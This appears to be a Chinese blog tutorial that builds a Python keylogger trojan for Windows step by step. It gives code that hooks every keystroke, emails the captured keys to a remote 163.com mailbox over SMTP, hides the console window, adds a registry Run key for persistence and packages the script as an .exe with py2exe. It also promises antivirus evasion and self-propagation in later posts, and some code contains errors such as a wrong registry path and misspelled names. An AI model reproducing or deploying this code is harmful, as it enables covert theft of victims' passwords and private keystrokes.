最近接触了python的win32库,库子提供了不少可用于windows开发的API,这里就利用这个为原理制作一个键盘监听木马的雏形。
这里需要使用额外的模块pythonHook(放置钩子时),pythoncom
主要监听功能相关代码:
#放置键盘监听钩子
def seeing():
PH=pyHook.HookManager()
PH.KeyDown=KeyboardEvent
PH.HookKeyboard()
pythoncom.PumpMessages()
#键盘事件
def KeyboardEvent(event):
#print event.Key,
if len(a)<=20:#这里用于实验只但满20字符时发送邮件,可自行加大
a.append(event.Key)
else:
text=''.join(a)
if send_mail(to,"键盘记录test1",text):
print "Suceed!"
else:
print "Failed!"
sys.exit(0)
return True
这段是该程序核心功能的代码,用于监听所有键盘事件,并将其存于list_a 中。
接下来就是利用SMTP协议
发送键盘事件的记录结果:
相关代码如下:
#smtp发邮件
import sys
import re
import urllib
import smtplib
import random
from email.mime.text import MIMEText
#可根据协议或smtp服务器自行更改
to=['******@163.com']
host="smtp.163.com" #smtp服务器
user="****" #用户名
password="******" #密码
postfix="163.com" #后缀
#发送信件函数
def send_mail(to_list,sub,content):
me="键盘记录"+""
msg = MIMEText(content,_subtype='plain',_charset='gb2312')
msg['Subject'] = sub
msg['From'] = me
msg['To'] = ";".join(to_list)
try:
server = smtplib.SMTP()
server.connect(host)
server.login(user,password)
server.sendmail(me, to_list, msg.as_string())
server.close()
return True
except Exception, e:
print str(e)
return False
核心功能部分雏形就完成了,现在对该监听程序进行修饰:
监听进行时,不该有console窗体,应该仅在后台进程进行。下面是关于如何启动时没有console窗体而在后台默默进行。
相关代码:
import ctypes
#隐藏console窗体
def hiding():
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
但仅仅以上是不够的,一个完整的木马程序还需要包括自我传播、自启动。
这里需要我们修改windos的注册表信息,winapi这个库中提供了方法:
1.首先需要获得执行程序自身所在位置。
相关代码:
#获得木马所在位置
def path():
import inspect,os
caller_file=inspect.stack()[1][1]
return os.path.abspath(os.path.dirname(caller_file))
2.修改注册表信息:
相关代码:
def autorun():
path_way=path()
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,
'SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',0, win32con.KEY_ALL_ACCESS)
win32.RegCreateKey(key,pathon_way)#给注册表自启动项添加木马所在路径
win32.RegCloseKey(key)
return
这样一个监听键盘事件的木马雏形就基本完成了,当然还包括如何自我传播(下一篇会详细提到)。
这里会注意到一个问题,大多数计算机没有安装python解释器,关于python如何在其他windows程序上执行,我使用了py2exe,distutils提供的方法,
新版本的distutuils在py2exe中。
首先创造一个setup.py
相关代码如下:
#setup.py
from distutils.core import setup
import py2exe
setup(console=["hiding.py"])#此处为需要封装的python文件名
然后再console中执行:
python setup.py py2exe
然后就生成了py2exe,这样一个监听键盘信息的木马程序就完成了。
试着运行一下:
明文传输,但短时间在接受几百封邮件后服务器有可能会将邮箱冻结,所以接受键盘事件信息的方式可以改进,比如换一种更加适合的通讯协议。
在后续的文章中会提到如何加壳过各种杀毒软件。
ps:该文章仅用于学习研究,不要轻易越界!